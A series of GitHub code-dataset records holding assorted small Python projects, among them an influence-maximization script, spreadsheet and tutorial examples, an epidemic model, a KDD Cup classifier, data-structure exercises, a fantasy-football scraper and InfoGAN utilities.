pickle.dump(influences, f)\n    influence, node = heapq.heappop(heap)\n    prev_influence = -influence\n    marginal_influences.append(prev_influence)\n    seed_nodes = {node}\n    seed_nodes_list = [node]\n    while len(seed_nodes) < num_seed_nodes:\n        print(seed_nodes)\n        max_found = False\n        while not max_found:\n            influence, node = heapq.heappop(heap)\n            influence = compute_influence_for_node_set(G, C, node_list, votes, (seed_nodes | {node}), samples, is_constructive, optimal_candidate)\n            marginal_influence = influence - prev_influence\n            heapq.heappush(heap, (-marginal_influence, node))\n            max_found = heap[0][1] == node\n        marginal_influence, node = heapq.heappop(heap)\n        marginal_influences.append(-marginal_influence)\n        prev_influence = prev_influence + (-marginal_influence)\n        seed_nodes.add(node)\n        seed_nodes_list.append(node)\n    print(seed_nodes_list)\n    print(prev_influence)\n    with open('544tFinalProjectData/' + network + '/' + ('constructive' if is_constructive else 'destructive') + '/C_' + str(C) + '/seed_nodes_' + str(C) + '_' + str(instance) + '.pkl', 'wb') as f:\n        pickle.dump(seed_nodes_list, f)\n    with open('544tFinalProjectData/' + network + '/' + ('constructive' if is_constructive else 'destructive') + '/C_' + str(C) + '/marginal_influences_' + str(C) + '_' + str(instance) + '.pkl', 'wb') as f:\n        pickle.dump(marginal_influences, f)\n    return prev_influence\n\n\ndef analysis(network, num_mc_samples, C, is_constructive, num_seed_nodes, instance, optimal_candidate):\n    seed_nodes = []\n    with open('544tFinalProjectData/' + network + '/' + ('constructive' if is_constructive else 'destructive') + '/C_' + str(C) + '/seed_nodes_' + str(C) + '_' + str(instance) +'.pkl', 'rb') as f:\n        seed_nodes = pickle.load(f)\n    influences = []\n    with open('544tFinalProjectData/' + network + '/' + ('constructive' if is_constructive else 'destructive') + '/C_' + str(C) + '/influences_' + str(C) + '_' + str(instance) + '.pkl', 'rb') as f:\n        influences = pickle.load(f)\n    with open('544tFinalProjectData/' + network + '/' + ('constructive' if is_constructive else 'destructive') + '/C_' + str(C) + '/marginal_influences_' + str(C) + '_' + str(instance) + '.pkl', 'rb') as f:\n        marginal_influences = pickle.load(f)\n    avg_influence = sum(influences) / len(influences)\n    print(marginal_influences)\n    seed_node_influences = []\n    print(seed_nodes)\n    for s in seed_nodes:\n        seed_node_influences.append(influences[s])\n    return seed_node_influences, avg_influence\n\n\n''' \nSET PARAMETERS\n'''\n#k = 25\n#C = 10\n#optimal_candidate = 0\n\n'''\nLOAD GRAPH\n'''\n# with open('polblogs_graph_trimmed_' + str(C) + '.pkl', 'rb') as f:\n#    G = pickle.load(f)\n# with open('./544tFinalProjectData/netscience/constructive/C_' + str(C) + '/netscience_graph_' + str(C) + '.pkl', 'rb') as f:\n#    G = pickle.load(f)\n# votes = []\n# for candidate in range(0, C):\n#     votes.append(len([node for node in G.nodes if G.nodes[node][\"voting_preference\"][0] == candidate]))\n# node_list = list(G.nodes)\n# '''\n# LOAD MC SAMPLES\n# '''\n# # with open('compressed_mc_samples_trimmed_' + str(C) + '.pkl', 'rb') as f:\n# #    samples = pickle.load(f)\n# with open('./544tFinalProjectData/netscience/constructive/C_' + str(C) + '/compressed_mc_samples_' + str(C) + '.pkl', 'rb') as f:\n#    samples = pickle.load(f)\n#\n# #samples = samples[0:100]\n#\n# '''\n# GREEDY\n# Run greedy algorithm\n# '''\n# lazy_greedy(k)\n","repo_name":"beyoglubora/544t","sub_path":"LazyGreedy.py","file_name":"LazyGreedy.py","file_ext":"py","file_size_in_byte":7565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"26258333139","text":"#!/usr/bin/env python\n# This example script was ported from Perl Spreadsheet::WriteExcel module.\n# The author of the Spreadsheet::WriteExcel module is John McNamara\n# <jmcnamara@cpan.org>\n\n__revision__ = \"\"\"$Id: images.py,v 1.9 2004/01/31 18:56:07 fufff Exp $\"\"\"\n\n#######################################################################\n#\n# Example of how to insert images into an Excel worksheet using the\n# Spreadsheet::WriteExcel insert_bitmap() method.\n#\n# reverse('(c)'), October 2001, John McNamara, jmcnamara@cpan.org\n#\n\nimport pyXLWriter as xl\n\n# Create a new workbook called simple.xls and add a worksheet\nworkbook   = xl.Writer(\"images.xls\")\nworksheet1 = workbook.add_worksheet('Image 1')\nworksheet2 = workbook.add_worksheet('Image 2')\nworksheet3 = workbook.add_worksheet('Image 3')\nworksheet4 = workbook.add_worksheet('Image 4')\n\n# Insert a basic image\nworksheet1.write('A10', \"Image inserted into worksheet.\")\nworksheet1.insert_bitmap('A1', 'republic.bmp')\n\n\n# Insert an image with an offset\nworksheet2.write('A10', \"Image inserted with an offset.\")\nworksheet2.insert_bitmap('A1', 'republic.bmp', 32, 10)\n\n# Insert a scaled image\nworksheet3.write('A10', \"Image scaled: width x 2, height x 0.8.\")\nworksheet3.insert_bitmap('A1', 'republic.bmp', 0, 0, 2, 0.8)\n\n# Insert an image over varied column and row sizes\n# This does not require any additional work\n\n# Set the cols and row sizes\n# NOTE: you must do this before you call insert_bitmap()\nworksheet4.set_column('A:A', 5)\nworksheet4.set_column('B:B', hidden=True)\nworksheet4.set_column('C:D', 10)\nworksheet4.set_row(0, 30)\nworksheet4.set_row(3, 5)\n\nworksheet4.write('A10', \"Image inserted over scaled rows and columns.\")\nworksheet4.insert_bitmap('A1', 'republic.bmp')\n\nworkbook.close()","repo_name":"evgenybf/pyXLWriter","sub_path":"examples/images.py","file_name":"images.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"21368095984","text":"\"\"\"\nLambdas are one line functions.\nThey are also known as anonymous functions in some other languages.\nYou might want to use lambdas when you don’t want to use a function twice in a program.\nThey are just like normal functions and even behave like them.\n\"\"\"\n\n# lambda argument: manipulate(argument)\n\nadd = lambda x, y: x + y\n\nprint(add(3, 5))\n\n# list sorting\na = [(1, 2, 3), (4, 1, 4), (9, 10, 5), (13, -3, 6)]\na.sort(key=lambda x: x[2])  # sorts by 3rd key in tuple\n# key= Optional. A function to specify the sorting criteria(s)\n\n'''\n# A function that returns the length of the value:\ndef myFunc(e):\n  return len(e)\ncars = ['Ford', 'Mitsubishi', 'BMW', 'VW']\ncars.sort(key=myFunc)\n'''\n\nprint(a)\n\nasd = lambda x: x[2]\nprint(asd(a))\n\n\n#Parallel sorting of lists\nlist1 = [(5, 2, 3), (1, 2, 4), (9, 2, 5), (13, -3, 6)]\nlist2 = [(5, 2, 3), (4, 1, 4), (9, 10, 5), (13, -3, 6)]\n\ndata = zip(list1, list2)\nlist1, list2 = map(lambda t: list(t), zip(*data))\nprint(list1)\nprint(list2)","repo_name":"Metalscreame/Python-basics","sub_path":"functions/lambdas.py","file_name":"lambdas.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"14430150206","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.linear_model import LogisticRegression\nimport matplotlib.pyplot as plt\n\n# veri kumesini oku\nkolon_adlari = ['duration','protocol_type','service','flag','src_bytes','dst_bytes','land','wrong_fragment','urgent',\n'hot','num_failed_logins','logged_in','num_compromised','root_shell','su_attempted','num_root','num_file_creations',\n'num_shells','num_access_files','num_outbound_cmds','is_host_login','is_guest_login','count','srv_count',\n'serror_rate','srv_serror_rate','rerror_rate','srv_rerror_rate','same_srv_rate','diff_srv_rate','srv_diff_host_rate',\n'dst_host_count','dst_host_srv_count','dst_host_same_srv_rate','dst_host_diff_srv_rate','dst_host_same_src_port_rate',\n'dst_host_srv_diff_host_rate','dst_host_serror_rate','dst_host_srv_serror_rate','dst_host_rerror_rate',\n'dst_host_srv_rerror_rate','label']\n\nverikumesi = pd.read_csv(\"kddcup99.tar.gz\",compression=\"gzip\", names=kolon_adlari, \nlow_memory=False, skiprows=1)\n\n\nsecilecek_kolonlar = ['serror_rate','srv_serror_rate',\n'rerror_rate','srv_rerror_rate','same_srv_rate','diff_srv_rate','srv_diff_host_rate','dst_host_count',\n'dst_host_srv_count','dst_host_same_srv_rate','dst_host_diff_srv_rate','dst_host_same_src_port_rate',\n'dst_host_srv_diff_host_rate','dst_host_serror_rate','dst_host_srv_serror_rate','dst_host_rerror_rate',\n'dst_host_srv_rerror_rate']\n\n\nX = verikumesi[secilecek_kolonlar].as_matrix()\ny = verikumesi['label'].apply(lambda d:0 if d == 'normal.' else 1).as_matrix()\n\n# lambda degerleri\nlambdas=[x  for x in range(1, 1000, 50)]\n\n# agirliklar icin zero matris tanimla\ncoefs_ridge = np.zeros((len(lambdas),X.shape[1]))\nprint(coefs_ridge.shape)\n\ni = 0\nfor l in lambdas:\n   print(datetime.now(),i)\n   clf = LogisticRegression(verbose=0, C=1/l)\n   clf.fit(X,y)\n   coefs_ridge[i,:] = clf.coef_\n   i += 1\nplt.figure(1)\nax = plt.gca()\n\nfor i in range(X.shape[1]):\n    coef_l = coefs_ridge[:,i]\n    print('*'*100)\n    print(coef_l.shape)\n    l1 = plt.plot(lambdas, coef_l, label= secilecek_kolonlar[i])\nplt.legend()\nplt.show()\n\n'''\nplt.figure(1)\nax = plt.gca()\n\ncolors = cycle(['b', 'r', 'g', 'c', 'k'])\nneg_log_alphas_lasso = -np.log10(alphas_lasso)\nfor coef_l, c in zip(coefs_lasso, colors):\n    l1 = plt.plot(alphas_lasso, coef_l, c=c)\n\t\nplt.axis('tight')\nplt.show()\n'''","repo_name":"ocatak-zz/ocatak.github.io","sub_path":"SIB552/03/src/01-kddcup-lasso.py","file_name":"01-kddcup-lasso.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"}
{"seq_id":"27349208929","text":"import scipy.integrate as spi\nimport numpy as np\nimport pylab as pl\n\nbeta=1.4247\ngamma=0.14286\np=0.1\nl=0.1\nb=0.1\ne=0.1\nI0=0.01\nND=48\nTS=1.0\nINPUT = (1.0-I0, I0,0,0)\n\ndef diff_eqs(INP,t):\n\t'''The main set of equations'''\n\tY=np.zeros((4))\n\tS=INP[0]\n\tE=INP[1]\n\tI=INP[2]\n\tZ=INP[2]\n\tN=S+I+E+Z\n\tY[0] = - beta * S * I/N -b * S * Z/N\n\tY[1] = (1-p)*beta * S * I/N +(1-l)*b * S * Z/N-p*E*I/N-e*E\n\tY[2] = - p*beta * S * I/N +p * E * I/N+e*E\n\tY[3] = l*b** S * Z/N\n\treturn Y   # For odeint\n\n\n\n# t_start = 0.0; t_end = ND; t_inc = TS\n# t_range = np.arange(t_start, t_end+t_inc, t_inc)\n# RES = spi.odeint(diff_eqs,INPUT,t_range)\n#\n# print (RES)\n\n#Ploting\n# pl.subplot(211)\n# pl.plot(RES[:,0], '-g', label='Susceptibles')\n# pl.title('Program_2_5.py')\n# pl.xlabel('Time')\n# pl.ylabel('Susceptibles')\n# pl.subplot(212)\n# pl.plot(RES[:,2], '-r', label='Infectious')\n# pl.xlabel('Time')\n# pl.ylabel('Infectious')\n# pl.show()\nprint()","repo_name":"licheng5625/coder","sub_path":"ML/simpleSIR.py","file_name":"simpleSIR.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"35171099470","text":"from itertools import product, permutations\r\n\r\nk = 0\r\ncoll = permutations('мстилав', r=5)\r\nfor i in coll:\r\n    s = ''.join(i)\r\n    s2 = ''\r\n    for w in s:\r\n        if w in 'мстлв':\r\n            s2 += 's'\r\n        else:\r\n            s2 += 'g'\r\n    if s2.count('s') > s2.count('g') and 'gg' not in s2:\r\n        k += 1\r\n\r\n\r\nprint(k)","repo_name":"BorussiaTop4ik/EGE","sub_path":"8-19.py","file_name":"8-19.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"33039134494","text":"import numpy as np\n\n\nclass IEEE754:\n    def __init__(self, x, precision=2):\n        self.precision = precision\n        length_list = [16, 32, 64, 128, 256]\n        exponent_list = [5, 8, 11, 15, 19]\n        mantissa_list = [10, 23, 52, 112, 236]\n        bias_list = [15, 127, 1023, 16383, 262143]\n        self.length = length_list[precision]\n        self.exponent = exponent_list[precision]\n        self.mantissa = mantissa_list[precision]\n        self.bias = bias_list[precision]\n        self.s = 0 if x >= 0 else 1\n        x = abs(x)\n        self.x = x\n        self.i = self.integer2binary(int(x))\n        self.d = self.decimal2binary(x-int(x))\n        self.e = self.integer2binary((self.i.size-1)+self.bias)\n        self.m = np.append(self.i[1::], self.d)\n        self.h = ''\n\n    def __str__(self):\n        r = np.zeros(self.length, dtype=int)\n        i_d = np.append(self.i[1::], self.d)\n        r[0] = self.s\n        r[1+(self.exponent - self.e.size):(self.exponent + 1):] = self.e\n        r[(1 + self.exponent):(1 + self.exponent + i_d.size):] = i_d[0:self.mantissa]\n        s = np.array2string(r, separator='')\n        return s[1:-1].replace(\"\\n\", \"\").replace(\" \", \"\")\n\n    @staticmethod\n    def integer2binary(x):\n        b = np.empty((0,), dtype=int)\n        while x > 1:\n            b = np.append(b, np.array([x % 2]))\n            x = int(x/2)\n        b = np.append(b, np.array([x]))\n        b = b[::-1]\n        return b\n\n    def decimal2binary(self, x):\n        b = np.empty((0,), dtype=int)\n        i = 0\n        while x > 0 and i < self.mantissa:\n            x = x * 2\n            b = np.append(b, np.array([int(x)]))\n            x -= int(x)\n            i += 1\n        return b\n\n    def str2hex(self):\n        s = str(self)\n        for i in range(0, len(s), 4):\n            ss = s[i:i+4]\n            si = 0\n            for j in range(4):\n                si += int(ss[j]) * (2**(3-j))\n            sh = hex(si)\n            self.h += sh[2]\n        return self.h\n\n\nif __name__ == \"__main__\":\n    for p in range(5):\n        a = IEEE754(13.375, p)\n        print(\"x = %f | b = %s | h = %s\" % (13.375, a, a.str2hex()))\n","repo_name":"canbula/Float2Binary","sub_path":"ieee754.py","file_name":"ieee754.py","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"}
{"seq_id":"19438284603","text":"class circularqueue(object):\n\n    def __init__(self,capacity):\n        self.capacity = capacity\n        self.queue = [None] * capacity\n        self.front = 0\n        self.end = -1\n    \n    def add(self, value):\n        #resize and straigten queue\n        if self.size() == self.capacity:\n            temp = [None] * 2 * self.capacity\n            i = 0\n            j = self.front\n            while i < self.capacity:\n                temp[i] = self.queue[j]\n                j = (j + 1) % self.capacity\n                i += 1\n            self.queue = temp\n            self.front = 0\n            self.end = self.capacity - 1\n            self.capacity *= 2\n        self.end = (self.end + 1) % self.capacity\n        self.queue[self.end] = value\n    \n    def remove(self):\n        if self.isEmpty():\n            return None\n        removedElement = self.queue[self.front]\n        self.queue[self.front] = None\n        self.front = (self.front + 1) % self.capacity\n        if self.isEmpty():\n            self.front = 0\n            self.end = -1\n        return removedElement\n    \n    def peak(self):\n        if self.isEmpty():\n            return None\n        return self.queue[self.front]\n    \n    def isEmpty(self):\n        return self.size() == 0\n\n    def size(self):\n        if self.end == -1:\n            return 0\n        if self.end > self.front:\n            return self.end - self.front + 1\n        else:\n            return self.end - self.front + self.capacity + 1\n    \n    def print(self):\n        i = self.front\n        count = 0 \n        size = self.size()\n        while count < size:\n            print(self.queue[i], end = \" \")\n            i = (i + 1) % self.capacity\n            count += 1\n\nqueue = circularqueue(5)\nqueue.add(5)\nqueue.add(4)\nqueue.add(3)\nqueue.add(2)\nqueue.add(3)\nqueue.remove()\nqueue.add(1)\nqueue.add(6)\nqueue.print()","repo_name":"nerdjerry/python-programming","sub_path":"library/queues/circularqueue.py","file_name":"circularqueue.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"7170609707","text":"def test_generator(x):\n    while x < 100:\n        yield x\n        x += 10\n    yield x\n\n\ndef cut_down(x):\n    while x >= 1:\n        yield x\n        x -= 1\n\n\ndef cut_down2(x):\n    if x > 0:\n        yield x\n        yield from yield_2()\n\n\ndef yield_2():\n    yield 'first'\n    yield 'second'\n\n\n# t = test_generator(3)\n#\n# print(list(cut_down(9)))\n# print(list(cut_down2(7)))\n# print(yield_2())\n\n\nclass LettersIter:\n    def __init__(self, start='a', end='e'):\n        self.next_letter = start\n        self.end = end\n\n    def __next__(self):\n        if self.next_letter == self.end:\n            raise StopIteration\n        letter = self.next_letter\n        self.next_letter = chr(ord(letter) + 1)\n        return letter\n\n    def __iter__(self):\n        start = self.next_letter\n        while start < self.end:\n            yield start\n            start = chr(ord(start) + 1)\n\n\nclass Letters:\n    def __init__(self, start='a', end='b'):\n        self.start = start\n        self.end = end\n\n    def __iter__(self):\n        return LettersIter(self.start, self.end)\n\n\nletter_iter = Letters('d', 'r')\nfirst_iterator = iter(letter_iter)\nt1 = iter(first_iterator)\nt2 = iter(first_iterator)\nprint(iter(first_iterator) == iter(first_iterator))  # False\nprint(t1)  # <generator object LettersIter.__iter__ at 0x00000238211D9938>\nprint(t2)  # <generator object LettersIter.__iter__ at 0x00000238211D9938>\nprint(next(first_iterator))  # d\nprint(next(iter(first_iterator)))  # e\n\n\n# y2 = yield_2()\n# y2_it = iter(y2)\n# print(y2 == y2_it)\n# print(next(first_iterator))\n# print(iter(first_iterator))\n# print([k for k in first_iterator])\n\ndef add_this_many(x, el, s):\n    \"\"\" Adds el to the end of s the number of times x occurs in s.\n    >>> s = [1, 2, 4, 2, 1]\n    >>> add_this_many(1, 5, s)\n    >>> s\n    [1, 2, 4, 2, 1, 5, 5]\n    >>> add_this_many(2, 2, s)\n    >>> s\n    [1, 2, 4, 2, 1, 5, 5, 2, 2]\n    \"\"\"\n    \"*** YOUR CODE HERE ***\"\n    s_len = len(s)\n    cnt = 0\n    for i in range(s_len):\n        if s[i] == x:\n            cnt += 1\n    s.extend([el for i in range(cnt)])\n","repo_name":"larry-xue/CS","sub_path":"cs61a/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"74280716202","text":"import json\n\n\ndef main():\n    f = open('student_data.json', 'r')\n    json_data = f.read()\n    f.close()\n\n    students = json.loads(json_data)\n    #print(json.dumps(students, indent=2))\n    for id,student_data in students.items():\n        assert 'name' in student_data\n        first_name = student_data['name'][0]\n        last_name = student_data['name'][1]\n        assert 'scores' in student_data\n        assignments = student_data['scores']['assignments']\n        exams = student_data['scores']['exams']\n        asgn_avg = sum(assignments) / len(assignments)\n        exams_avg = sum(exams) / len(exams)\n        print(f'{id} {first_name} {last_name} {asgn_avg} {exams_avg}')\n\n    # for id in students:\n    #     print(id)\n    # id = input(\"Select a student: \")\n    # assert id in students\n    # print(students[id])\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"NormandaleWells/CSCI2001Demos","sub_path":"NestedData/student_data.py","file_name":"student_data.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"15103675163","text":"import speech_recognition as sr\nr = sr.Recognizer()\n\nharvard = sr.AudioFile('jackhammer.wav')\nwith harvard as source:\n    r.adjust_for_ambient_noise(source,duration=0.5)\n    audio = r.record(source)\n\n\nrecognized_sentence=r.recognize_google(audio,show_all=True)\n\nprint('Sentence: ',recognized_sentence)\n\n\n","repo_name":"MKwiatosz/Programming","sub_path":"Python/Speech_simple_for_now/Speech_recognition_by_audio_file.py","file_name":"Speech_recognition_by_audio_file.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"41585054598","text":"from django import forms\nfrom vehicles.models import Vehicle, VechiclePublication\n\n\nclass VehicleRegisterForm(forms.ModelForm):\n    class Meta:\n        model = Vehicle\n        fields = ['carRegistration', 'brand', 'carModel', 'year', 'seatsNumber']\n        widgets = {\n            'carRegistration': forms.TextInput(\n                attrs={'class': 'form-control mt-3', 'placeholder': 'Nick', 'max_length': '15'}),\n            'brand': forms.TextInput(attrs={'class': 'form-control mt-3', 'placeholder': 'Nick', 'max_length': '15'}),\n            'carModel': forms.TextInput(\n                attrs={'class': 'form-control mt-3', 'placeholder': 'Nick', 'max_length': '15'}),\n            'year': forms.NumberInput(attrs={'class': 'form-control mt-3', 'placeholder': 'Nick', 'max_length': '15'}),\n            'seatsNumber': forms.NumberInput(\n                attrs={'class': 'form-control mt-3', 'placeholder': 'Nick', 'max_length': '15'})\n        }\n\n    def save_model(self, request, obj, form, change):\n        obj.added_by = request.user\n        super().save_model(request, obj, form, change)\n\n\nclass VehiclePublicationForm(forms.ModelForm):\n    class Meta:\n        model = VechiclePublication\n        fields = ['price', 'description', 'published']\n        widgets = {\n            'price': forms.NumberInput(attrs={'class': 'form-control mt-3', 'placeholder': 'Nick', 'max_length': '15'}),\n            'description': forms.TextInput( attrs={'class': 'form-control mt-3', 'placeholder': 'Nick', 'max_length': '100'}),\n            'published': forms.CheckboxInput(attrs={'class': 'form-control mt-3', 'placeholder': 'Nick'}),\n        }\n\n    def save_model(self, request, obj, form, change):\n        obj.added_by = request.user\n        super().save_model(request, obj, form, change)\n","repo_name":"PrograMate-bIT/Clickrentacar","sub_path":"vehicles/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"}
{"seq_id":"72638117482","text":"import requests as rq\nimport pandas as pd\n\nurlTGD = 'https://thegameday.com/fantasy/football/rankings/dynasty/'\n\ndef ScrapingPlayersTGD():\n    playerDict = {}\n    df = pd.read_html(urlTGD)\n\n    # This returns the first table which is our targetted table\n    dfRanks = df[0]\n    # Assigns values into player dict in the form 'Player': [RK, POSRK]\n    for i in range(300):\n        # NameEditor ensures each dict has the same str for each player's name\n        name = NameEditor(dfRanks['Player'][i])\n        ovrRank = dfRanks['RK'][i]\n        posRank = dfRanks['POSRK'][i]\n        # Stores in the structure of 'PlayerName': ('ovrRank','posRank')\n        playerDict[name] = [str(ovrRank), posRank]\n    \n    return playerDict\n\nurlPFF = 'https://www.pff.com/news/fantasy-football-2023-post-nfl-draft-dynasty-rankings'\n\ndef ScrapingPlayersPFF():\n    playerDict = {}\n    \n    # Additional request code necessary for avoiding gateway error\n    url = rq.get(urlPFF)\n    df = pd.read_html(url.text)\n\n    # This returns the first table which is our targetted table\n    dfRanks = df[0]\n\n    # Each of the cols are the playerName, overRank, and posRank respectively\n    for i in range(299):\n        # NameEditor ensures each dict has the same str for each player's name\n        name = NameEditor(dfRanks[2][i+1])\n        ovrRank = dfRanks[0][i+1]\n        posRank = dfRanks[4][i+1]\n        # Stores in the structure of 'PlayerName': ('ovrRank','posRank')\n        playerDict[name] = [ovrRank, posRank]\n    \n    return playerDict  \n\n# Used to standarize particular names that are different between the two dicts\ndef NameEditor(name):\n    if ' Jr.' in name:\n        return(name.replace(' Jr.', ''))\n    elif ' II' in name:\n        return(name.replace(' II', ''))\n    elif 'D.K.' in name:\n        return(name.replace('D.K.', 'DK'))\n    elif 'Gabriel' in name:\n        return(name.replace('Gabriel', 'Gabe'))\n    elif 'Josh' in name:\n        return(name.replace('Josh', 'Joshua'))\n    elif 'K.J.' in name:\n        return(name.replace('K.J.', 'KJ'))\n    # If the names do not apply to any of the if statements keep it the same\n    else:\n        return name\n    \n# Used to troubleshoot and see the names not in both of the dicts respectively\ndef NameDictChecker(dict1, dict2):\n    notFoundNames1 = []\n    notFoundNames2 = []\n\n    # If the name is not in the other dict put it into the notFoundNames arr\n    for key in dict2:\n        if key not in dict1:\n            notFoundNames1.append(key)\n\n    # If the name is not in the other dict put it into the notFoundNames arr\n    for key in dict1:\n        if key not in dict2:\n            notFoundNames2.append(key)\n    \n    # Lengths of the two arrays extra names arr\n    print(len(notFoundNames1), len(notFoundNames2))\n\n    # Printing the two arrays to find which names are not in both dicts\n    print(sorted(notFoundNames1))\n    print(sorted(notFoundNames2))\n\n# Used to put the players into one dict, if they both have the same player append the rank they have\ndef CombineFunction(dict1, dict2, newDict):\n    # Goes through each element of the dict\n    for (key1, val1), (key2, val2) in zip(dict1.items(), dict2.items()):\n        # std placeholder value, allows for you to append each of the new rankings easier\n        std = [[], []]\n        # val will be in the form (ovrRank, posRank)\n\n        # create new dict if the player is not in dict1\n        if key1 not in newDict:\n            newDict[key1] = std\n            newDict[key1] = std[0].append(val1[0])\n            newDict[key1] = std[1].append(val1[1])\n            newDict[key1] = std\n            std = [[], []]\n        else:\n            # appends if player is already in from dict2\n            std = newDict[key1]\n            newDict[key1] = std[0].append(val1[0])\n            newDict[key1] = std[1].append(val1[1])\n            newDict[key1] = std\n            std = [[], []]\n        \n        # create new dict if the player is not in dict2\n        if key2 not in newDict:\n            newDict[key2] = std\n            newDict[key2] = std[0].append(val2[0])\n            newDict[key2] = std[1].append(val2[1])\n            newDict[key2] = std\n            std = [[], []]\n        else:\n            # appends if player is already in from dict1\n            std = newDict[key2]\n            newDict[key2] = std[0].append(val2[0])\n            newDict[key2] = std[1].append(val2[1])\n            newDict[key2] = std\n            std = [[], []]\n    return newDict\n\n# Takes the elements of the dicts and averages out their rankings in the same dict\ndef RankCombinerFunction(combDict):\n    for player, (ovrRank, posRank) in combDict.items():\n        # player = playername, ovrRank = [rank1, rank2], posRank = [posRank1, posRank2]\n        # Checks if there are two elements in the item meaning both sites had data on the player\n        if len(ovrRank) == 2:\n            temp1 = (int(ovrRank[0]) + int(ovrRank[1])) / 2\n        else:\n            temp1 = int(ovrRank[0])\n        if len(posRank) == 2:\n            # Each of these are used to ensure that the appropriate chars are taken from the pos rankings ignoring\n            # the position that goes along with the rankings\n            if len(posRank[0]) == 3:\n                tempPosRank1 = int(posRank[0][-1])\n            elif len(posRank[0]) == 4:\n                tempPosRank1 = int(posRank[0][-2:])\n            elif len(posRank[0]) == 5:\n                tempPosRank1 = int(posRank[0][-3:])\n            if len(posRank[1]) == 3:\n                tempPosRank2 = int(posRank[1][-1])\n            elif len(posRank[1]) == 4:\n                tempPosRank2 = int(posRank[1][-2:])\n            elif len(posRank[1]) == 5:\n                tempPosRank2 = int(posRank[1][-3:])\n            temp2 = (tempPosRank1+tempPosRank2) / 2\n            tempPosRank2, tempPosRank1 = 0,0\n            temp2 = posRank[0][0:2] + str(temp2)\n        else:\n            temp2 = posRank[0]\n        combDict[player] = [temp1, temp2]","repo_name":"KevinHeist/FantasyRanker","sub_path":"projFunctions.py","file_name":"projFunctions.py","file_ext":"py","file_size_in_byte":5913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"45263656503","text":"import torch\nfrom sklearn.metrics import classification_report\nfrom torch.autograd import Variable\nimport numpy as np\nimport discriminator as d\nimport generator as g\nimport params\nimport torchvision.transforms as transforms\nfrom torchvision.utils import save_image\nfrom torch.utils.data import DataLoader, ConcatDataset\nfrom torchvision import datasets\nimport os\n\ncuda = True if torch.cuda.is_available() else False\nFloatTensor = torch.cuda.FloatTensor if cuda else torch.FloatTensor\nopt = params.opt\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n\ndef get_transform():\n    return transforms.Compose(\n        [transforms.Resize(params.opt.img_size), transforms.ToTensor(), transforms.Normalize([0.5], [0.5])]\n    )\n\n\ndef weights_init_normal(m):\n    classname = m.__class__.__name__\n    if classname.find(\"Conv\") != -1:\n        torch.nn.init.normal_(m.weight.data, 0.0, 0.02)\n    elif classname.find(\"BatchNorm\") != -1:\n        torch.nn.init.normal_(m.weight.data, 1.0, 0.02)\n        torch.nn.init.constant_(m.bias.data, 0.0)\n\n\ndef to_categorical(y, num_columns):\n    \"\"\"Returns one-hot encoded Variable\"\"\"\n    y_cat = np.zeros((y.shape[0], num_columns))\n    y_cat[range(y.shape[0]), y] = 1.0\n\n    return Variable(FloatTensor(y_cat))\n\n\ndef init_GAN():\n    generator = g.Generator()\n    discriminator = d.Discriminator()\n    adversarial_loss = torch.nn.MSELoss()\n    categorical_loss = torch.nn.CrossEntropyLoss()\n    continuous_loss = torch.nn.MSELoss()\n\n    if cuda:\n        generator.cuda()\n        discriminator.cuda()\n        adversarial_loss.cuda()\n        categorical_loss.cuda()\n        continuous_loss.cuda()\n\n    generator.apply(weights_init_normal)\n    discriminator.apply(weights_init_normal)\n    return generator, discriminator, adversarial_loss, categorical_loss, continuous_loss\n\n\ndef get_MNIST_train_loader():\n    os.makedirs(opt.data_dir, exist_ok=True)\n    train_set = datasets.MNIST(root=opt.data_dir, download=True, train=True, transform=get_transform())\n    train_loader = torch.utils.data.DataLoader(train_set, batch_size=params.opt.batch_size, shuffle=True)\n    return train_loader\n\n\ndef get_MNIST_test_loader():\n    test_set = datasets.MNIST(opt.data_dir, download=True, train=False, transform=get_transform())\n    test_loader = torch.utils.data.DataLoader(test_set, batch_size=params.opt.batch_size, shuffle=True)\n    return test_loader\n\n\ndef get_Fashion_test_loader():\n    test_set = datasets.FashionMNIST(opt.fashion_data_dir, download=True, train=False, transform=get_transform())\n    test_loader = torch.utils.data.DataLoader(test_set, batch_size=params.opt.batch_size, shuffle=True)\n    return test_loader\n\n\ndef get_static_gen_input():\n    static_z = Variable(FloatTensor(np.zeros((opt.n_classes ** 2, opt.latent_dim))))\n    static_label = to_categorical(\n        np.array([num for _ in range(opt.n_classes) for num in range(opt.n_classes)]), num_columns=opt.n_classes\n    )\n    static_code = Variable(FloatTensor(np.zeros((opt.n_classes ** 2, opt.code_dim))))\n    return static_z, static_label, static_code\n\n\ndef sample_image(generator, n_row, batches_done, folder_im):\n    static_z, static_label, static_code = get_static_gen_input()\n    z = 